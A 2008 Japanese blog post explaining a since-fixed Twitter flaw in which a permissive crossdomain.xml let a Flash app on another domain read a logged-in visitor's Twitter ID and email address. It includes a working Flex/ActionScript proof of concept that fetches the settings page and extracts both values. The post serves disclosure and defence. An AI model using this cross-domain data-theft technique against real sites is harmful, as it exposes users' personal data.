ZAPAnet総合情報局 > [Z]ZAPAブロ〜グ2.0 > プログラミングTIPS > Twitterログイン中の情報漏れに注意

Twitterログイン中の情報漏れに注意

このエントリーをはてなブックマークに追加
2008年03月09日 カテゴリ:プログラミングTIPS
Twitter側で対策が取られました!
以下の記事は、対策前の記事になります。対策され、危険ではなくなって良かったです。



(TwitterID:ZAPAのsettingsページ)

「ついったー足あと帳」というサイト(IDが抜き取られるので、リンクはしません)にアクセスすると、Twitterにログイン中のIDが表示されてしまいます。
この話は、去年「ついったー足あとちょう - てっく煮ブログ」でもサンプルが載っていた話で、いまだにTwitter側での対策は取られていません。
試しに、この記事内でも表示してみることにしました。

(ここにあったFlashアプリは、Twitterの対策により、削除しました。)
ソースは、「ついったー足あとちょう - てっく煮ブログ」を参考に、テキスト表示部分をFlexのコンポーネントに置き換えて、41行で作ってみました。
<?xml version="1.0" encoding="utf-8"?>
<mx:Application xmlns:mx="http://www.adobe.com/2006/mxml"
     layout="absolute" width="256" height="64" initialize="init();">
    <mx:TextArea x="0" y="0" id="ta"
         width="100%" height="100%"/>
    <mx:Script>
        <![CDATA[
            private function init():void{
                var loader:URLLoader = new URLLoader();
                loader.addEventListener(Event.COMPLETE, completeHandler);
                loader.addEventListener("ioError", errorHandler);
                loader.load(new URLRequest("http://twitter.com/account/settings"));
            }
            private function completeHandler(event:Event):void {
                var loader:URLLoader = URLLoader(event.target);
                var html:String = loader.data;
                if(html.indexOf('value="Sign In"') != -1) {
                    // logged out
                    ta.text = "ついったーにはログインしてないみたい。\nYou are not logged in to Twitter!!";
                }
                else {
                    // login
                    var idMatch:Array = html.match(/<input\s+id="user_screen_name"[^>+]+value="([^"]+)"/);
                    var emailMatch:Array = html.match(/<input\s+id="user_email"[^>]+value="([^"]+)"/);
                    if(idMatch && emailMatch) {
                        var id:String = idMatch[1];
                        var email:String = emailMatch[1];
                        ta.htmlText = "ついったーID は <font color='#ff0000'><b>" + id + "</b></font> だね。<br>"
                          + "E-mail は <font color='#008000'><b>" + email + "</b></font> だよね。";
                    }
                    else {
                        ta.text = "no match:" + idMatch + ":" + emailMatch;
                    }
                }
            }
            private function errorHandler(event:Event):void {
                ta.text = "Error!!!: " + event.toString();
            }
        ]]>
    </mx:Script>
</mx:Application>
内容を簡単に解説しておくと、
1.http://twitter.com/account/settingsにアクセスしてHTMLを取得。
2.ログインしていれば、TwitterのIDとEmailアドレスが表示されるので、それを正規表現で抜き出す。
たったこれだけのことです。

もちろん、ただ表示するだけならたいした問題もありませんが、このIDとEmailアドレスをどこかに保存されてしまったらどうでしょうか?
簡単にEmailアドレスを収集されて、悪用されてしまいます。
怪しいサイトに仕込んでおいて、アクセスした履歴を表示して辱めることなんてこともできてしまうかもしれません。

Twitterのcrossdomain.xmlにより、クロスドメインのアクセスが許可されているため、他ドメインのFlashアプリからTwitterページにアクセスし、その結果を取得することができます。
Twitterのsettingsページにアクセスしているのは、サーバーマシンではなく、Flashアプリ(.swfファイル)を表示したクライアントマシンであるところが、普通の情報漏洩とちがうところです。
わざわざクロスドメインアクセスを許可しているおかげで、さまざまなTwitterアプリケーションが生まれましたが、settingsページなどの個人情報が含まれるページにはクロスドメイン制約を付けるべきですね。

現状、Twitterの仕様ということになっているようなので、怖い人はこまめにTwitterからログアウトしておいたほうが良いかもしれません。
IDだけならまだしも、Emailアドレスを収集されてしまうのは危険ですからね。


Twitter側で対策が取られました!
以上の記事は、対策前の記事になります。対策され、危険ではなくなって良かったです。